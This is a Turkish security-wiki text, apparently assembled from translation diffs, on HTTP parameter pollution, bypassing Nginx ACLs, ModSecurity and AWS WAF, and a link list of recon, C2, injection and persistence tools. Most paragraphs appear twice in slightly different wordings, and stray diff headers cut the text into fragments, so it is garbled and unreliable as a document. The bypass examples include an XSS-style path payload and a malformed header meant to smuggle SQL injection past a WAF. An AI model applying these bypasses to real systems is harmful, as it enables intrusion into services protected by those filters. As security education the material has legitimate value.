<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# HTTP Parametre Kirliliği (HPP) Genel Bakış
HTTP Parametre Kirliliği (HPP), saldırganların HTTP parametrelerini manipüle ederek bir web uygulamasının davranışını istenmeyen şekillerde değiştirdiği bir tekniktir. Bu manipülasyon, HTTP parametrelerinin eklenmesi, değiştirilmesi veya çoğaltılması yoluyla gerçekleştirilir. Bu manipülasyonların etkisi doğrudan kullanıcıya görünmez, ancak sunucu tarafında uygulamanın işlevselliğini önemli ölçüde değiştirebilir ve istemci tarafında gözle görülür etkilere sahip olabilir.
HTTP Parametre Kirliliği (HPP), saldırganların HTTP parametrelerini manipüle ederek bir web uygulamasının davranışını istenmeyen şekilde değiştirdiği bir tekniktir. Bu manipülasyon, HTTP parametrelerinin eklenmesi, değiştirilmesi veya çoğaltılması yoluyla gerçekleştirilir. Bu manipülasyonların etkisi doğrudan kullanıcıya görünmez ancak sunucu tarafında uygulamanın işlevselliğini önemli ölçüde değiştirebilir ve istemci tarafında gözlemlenebilir etkilere neden olabilir.
## HTTP Parametre Kirliliği (HPP) Örneği
Bir bankacılık uygulaması işlem URL'si:
- **Orijinal URL:** `https://www.kurban.com/gonder/?from=hspA&to=hspB&miktar=10000`
- **Orijinal URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Ek bir `from` parametresi ekleyerek:
- **Manipüle Edilmiş URL:** `https://www.kurban.com/gonder/?from=hspA&to=hspB&miktar=10000&from=hspC`
- **Manipüle Edilmiş URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
İşlem, `from` parametresinin `hspA` yerine yanlışlıkla `hspC` hesabına tahsil edilebilir ve bu da HPP'nin işlemleri veya şifre sıfırlamaları, 2FA ayarları veya API anahtar istekleri gibi diğer işlevleri manipüle etme potansiyelini gösterir.
İşlem, `accountA` yerine `accountC`'ye yanlışlıkla ücretlendirilebilir, HPP'nin işlemleri veya şifre sıfırlamaları, 2FA ayarları veya API anahtarı istekleri gibi diğer işlevleri manipüle etme potansiyelini gösterir.
### Teknolojiye Özgü Parametre Ayrıştırma
### **Teknolojiye Özgü Parametre Ayrıştırma**
- Parametrelerin nasıl ayrıştırıldığı ve önceliklendirildiği, temel web teknolojisine bağlı olarak değişir ve HPP'nin nasıl sömürülebileceğini etkiler.
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) gibi araçlar, bu teknolojileri ve ayrıştırma davranışlarını belirlemeye yardımcı olur.
- Parametrelerin ayrıştırılması ve önceliklendirilmesi, temel web teknolojisine bağlı olarak değişir ve HPP'nin nasıl sömürülebileceğini etkiler.
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) gibi araçlar, bu teknolojileri ve ayrıştırma davranışlarını tanımlamaya yardımcı olur.
## PHP ve HPP Sömürüsü
**OTP Manipülasyonu Durumu:**
- **Bağlam:** Bir One-Time Password (OTP) gerektiren bir giriş mekanizması sömürüldü.
- **Yöntem:** Saldırganlar, Burp Suite gibi araçları kullanarak OTP isteğini onaylayarak HTTP isteğindeki `email` parametresini çoğalttı.
- **Sonuç:** İlk e-posta için tasarlanan OTP, manipüle edilen istekte belirtilen ikinci e-posta adresine gönderildi. Bu hata, amaçlanan güvenlik önlemini atlayarak yetkisiz erişime izin verdi.
- **Bağlam:** Bir OTP gerektiren bir giriş mekanizması sömürüldü.
- **Yöntem:** Burp Suite gibi araçlar kullanılarak OTP isteği ele geçirilerek saldırganlar HTTP isteğinde `email` parametresini çoğalttı.
- **Sonuç:** İlk e-posta için amaçlanan OTP, manipüle edilen istekte belirtilen ikinci e-posta adresine gönderildi. Bu hata, amaçlanan güvenlik önlemini atlayarak yetkisiz erişime izin verdi.
Bu senaryo, uygulamanın arka uç tarafında kritik bir gözden kaçırma durumunu vurgulamaktadır. İlk `email` parametresi, OTP oluşturmak için işlenirken, teslimat için son parametre kullanılmıştır.
Bu senaryo, uygulamanın arka uçundaki kritik bir gözden kaçırma durumunu vurgular; bu durumda ilk `email` parametresi OTP oluşturmak için işlendi ancak teslimat için son parametre kullanıldı.
**API Anahtar Manipülasyonu Durumu:**
**API Anahtarı Manipülasyonu Durumu:**
- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin verir.
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtar güncelleme işlevinin sonucunu manipüle edebileceğini keşfeder.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan, isteğe hem meşru hem de kötü niyetli bir `api_key` parametresi içeren bir istek oluşturur. Sunucu, yalnızca son örneği işleyerek API anahtarını saldırganın sağladığı değere günceller.
- **Sonuç:** Saldırgan, kurbanın API işlevselliği üzerinde kontrol kazanır ve yetkisiz şekilde özel verilere erişebilir veya bunları değiştirebilir.
- **Senaryo:** Bir uygulama, kullanıcıların API anahtarlarını profil ayarları sayfası aracılığıyla güncellemesine izin verir.
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfeder.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan, biri meşru diğeri kötü niyetli olmak üzere iki `api_key` parametresini içeren bir istek oluşturur. Sunucu, yalnızca son oluşumu işleyerek API anahtarını saldırganın sağladığı değere günceller.
- **Sonuç:** Saldırgan, kurbanın API işlevi üzerinde kontrol kazanır, potansiyel olarak yetkisiz şekilde özel verilere erişebilir veya bunları değiştirebilir.
Bu örnek, özellikle API anahtar yönetimi gibi kritik özelliklerde güvenli parametre işleme gerekliliğini vurgular.
## Parametre Ayrıştırma: Flask vs. PHP
Web teknolojilerinin çift HTTP parametrelerini nasıl işlediği farklılık gösterir ve HPP saldırılarına karşı hassasiyetlerini etkiler:
Web teknolojilerinin çift HTTP parametrelerini nasıl ele aldığı farklılık gösterir ve HPP saldırılarına karşı duyarlılıklarını etkiler:
- **Flask:** Sorgu dizesinde `a=1&a=2` gibi bir durumda, ilk parametre değerini benimser ve başlangıçtaki örneği sonraki çoğaltmalardan önce tercih eder.
- **PHP (Apache HTTP Sunucusu üzerinde):** Aksine, verilen örnekte `a=2`'yi tercih eder. Bu davranış, saldırganın orijinal parametrenin üzerine manipüle edilen parametreyi onaylayarak istemeden HPP saldırılarını kolaylaştırabilir.
- **Flask:** Sorgu dizesinde `a=1&a=2` gibi karşılaşılan ilk parametre değerini benimser, başlangıçtaki örneği sonraki çoğaltmalardan önce önceliklendirir.
- **PHP (Apache HTTP Sunucusu üzerinde):** Aksine, verilen örnekte `a=2`'yi tercih eder. Bu davranış, saldırganın manipüle edilen parametreyi orijinaline tercih ederek HPP sömürülerini yanlışlıkla kolaylaştırabilir.
## Referanslar
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -2,18 +2,22 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Nginx ACL Kurallarını Yol Adı Manipülasyonu ile Atlatma <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Teknikler [bu araştırmadan](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
@ -28,8 +32,6 @@ location = /admin/ {
deny all;
}
```
Nginx, kontrol etmeden önce yol normalleştirmesi yaparak bypass'ları önlemektedir. Ancak, backend sunucusu farklı bir normalleştirme yaparsa (nginx'in kaldırmadığı karakterleri kaldırarak), bu savunmayı atlamak mümkün olabilir.
### **NodeJS - Express**
| Nginx Sürümü | **Node.js Atlatma Karakterleri** |
@ -73,7 +75,7 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx, `/admin.php` erişimini engellemek için yapılandırılmış olsa da, `/admin.php/index.php`'ye erişerek bunu atlayabilirsiniz.
Nginx, `/admin.php` erişimini engellemek için yapılandırılmış olsa da, bu engeli `/admin.php/index.php`'ye erişerek atlayabilirsiniz.
### Nasıl Önlenir
```plaintext
@ -81,24 +83,24 @@ location ~* ^/admin {
deny all;
}
```
## Mod Security Kurallarını Atlatma <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Mod Güvenlik Kurallarını Atlatma <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Yol Karışıklığı
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/), ModSecurity v3'ün (3.0.12'ye kadar) **`REQUEST_FILENAME`** değişkenini yanlış şekilde uyguladığııklanmaktadır. Bu değişken, erişilen yolun (parametrelerin başlangıcına kadar) bulunması gerekiyordu. Bu, yolu almak için bir URL çözümlemesi yaptığı için gerçekleşmiştir.\
Bu nedenle, mod güvenliğindeki bir istek olan `http://example.com/foo%3f';alert(1);foo=` örneğinde, `%3f` `?`'e dönüştürüldüğü için URL yolunu bitirir ve mod güvenliği sadece `/foo`'yu yol olarak kabul eder, ancak sunucunun alacağı yol aslında `/foo%3f';alert(1);foo=` olacaktır.
Bu nedenle, mod güvenlikte `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, `%3f`'nin `?`'e dönüştürülerek URL yolunu bitirmesi nedeniyle yolu sadece `/foo` olarak kabul eder, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
`REQUEST_BASENAME` ve `PATH_INFO` değişkenleri de bu hatadan etkilenmiştir.
Mod Security'nin 2. sürümünde de benzer bir durum yaşanmıştır. Bu durum, yedek dosyalarla ilişkili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı atlamayı mümkün kılmıştır (örneğin `.bak`) basitçe noktayı URL kodlanmış `%2e` ile göndererek, örneğin: `https://example.com/backup%2ebak`.
Mod Güvenlik'in 2. sürümünde de benzer bir durum yaşanmıştır. Bu durum, yedek dosyalarla ilişkili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı atlamayı mümkün kılmıştır (örneğin `.bak`) basitçe noktayı URL kodlanmış `%2e` ile göndererek, örneğin: `https://example.com/backup%2ebak`.
## AWS WAF ACL'sini Atlatma <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Hatalı Başlık
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS WAF kurallarının HTTP başlıklarına uygulanmasını atlatmanın, AWS tarafından düzgün şekilde ayrıştırılmayan ancak arka uç sunucu tarafından ayrıştırılan "hatalı" bir başlık gönderilerek mümkün olduğunu belirtmektedir.
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS WAF kurallarının HTTP başlıklarına uygulanmasını atlatmanın, AWS tarafından düzgün şekilde ayrıştırılmayan ancak arka uç sunucusu tarafından ayrıştırılan "hatalı" bir başlık gönderilerek mümkün olduğunu belirtmektedir.
Örneğin, aşağıdaki isteği SQL enjeksiyonu içeren bir başlık X-Query ile göndermek:
Örneğin, aşağıdaki isteği SQL enjeksiyonu içeren X-Query başlığı ile göndermek:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -107,23 +109,28 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlık değerinin bir parçası olduğunu anlamazken NODEJS sunucusu anlıyordu (bu düzeltildi).
AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlık değerinin bir parçası olduğunu anlamazken NODEJS sunucusu anlıyordu (bu sorun giderildi).
## Referanslar
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,24 +1,28 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
# BlueTeam
{% embed url="https://websec.nl/" %}
# MaviEkip
* [https://github.com/yarox24/attack\_monitor](https://github.com/yarox24/attack\_monitor)
* [https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/](https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/)
* [https://github.com/ION28/BLUESPAWN](https://github.com/ION28/BLUESPAWN)
* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : ığa çıkarılan hesapları kontrol et
* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Sızdırılan hesapları kontrol edin
* [https://github.com/rabobank-cdc/DeTTECT](https://github.com/rabobank-cdc/DeTTECT)
# OSINT
@ -40,7 +44,7 @@ HackTricks'ı desteklemenin diğer yolları:
* [https://builtwith.com/](https://builtwith.com)
* [https://www.spiderfoot.net/](https://www.spiderfoot.net)
* [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
* [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8 Alt alan bulma aracı, sublist3r, amass ve daha fazlası
* [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8 Alt alan bulucu araç, sublist3r, amass ve daha fazlası
# **WEB**
@ -49,25 +53,25 @@ HackTricks'ı desteklemenin diğer yolları:
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Alan adlarını asenkron olarak brute force et
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Alt alan brute force
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Bir alan içindeki web sunucularının erişilebilir olup olmadığını kontrol et
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Alan adı isimlerini asenkron olarak kaba kuvvet uygulayın
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Alt alan kaba kuvveti
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Bir alan içindeki web sunucularının erişilebilir olup olmadığını kontrol edin
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Alt alan keşfi
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Github'da alt alan keşfi
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Hızlı port taraması
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Bir webdeki alt alanlar ve URL'ler JS dosyalarından
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Bir web sayfasındaki JS dosyalarından alt alanlar ve URL'ler
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Web dosyaları sözlüğü
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Düzeltici sekmeleri önlemek için BurpExtension
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Varlıkları elde et
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Onlarca tekrarlayan sekme önlemek için BurpExtension
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Varlıkları elde edin
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Web BugBounty kontrol listesi
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Open Redirection'a karşı bir alan listesini kontrol et
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Open Redirection karşı bir alan listesini kontrol edin
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burp eklentisi, alanları, alt alanları ve IP'leri keşfetmek için çevrimdışı analiz
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Farklı araçların listesi
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Zafiyetleri bulmak için BurpSuite Eklentisi (SQLi, XSS, SSTI)
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : post-messages fonksiyonlarını takip etmek için Chrome eklentisi
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Otomatik kimlik doğrulama testleri (çerezleri kaldırır ve isteği göndermeye çalışır)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross, Rekonstrüksiyon, Tarama ve bir araçtır. Penetrasyon / BugBounty testi için yapıldı. Bu araç, (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) zafiyetlerini test etmek için yapıldı
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Post mesajı işlevlerini izlemek için Chrome uzantısı
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Otomatik kimlik doğrulama testleri (çerezleri kaldırın ve isteği göndermeyi deneyin)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross, bir Rekonstrüksiyon, Tarayıcı ve bir penetrasyon / BugBounty test aracıdır. Bu araç, (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) zafiyetlerini test etmek için oluşturulmuştur
# Windows
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Yanal hareketler
@ -75,18 +79,18 @@ HackTricks'ı desteklemenin diğer yolları:
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Kalıcılık
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windows İşlem Enjeksiyon teknikleri
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Kırmızı Takım betikleri
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : Active Directory Grup Politikası'ndaki güvenlikle ilgili yapılandırmaları bulun.
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : Active Directory Grup Politikasındaki güvenlikle ilgili yapılandırmaları bulun.
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestring obfuscation
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Ebeveyn PID Sahteciliği
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Üst PID Sahteciliği
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Powershell yüklerini şifrele
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Gizli C2
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Windows İç Yapıları hakkında bir dizi günlük
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Belgeyi kimin açtığını takip et
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Belgeyi kimin açtığını izle
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory Hile Sayfası
# Firmware
Firmware analizi için iyi olabilecek araçlar (otomatik):
Analiz etmek için harika olabilecek araçlar (otomatik):
* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
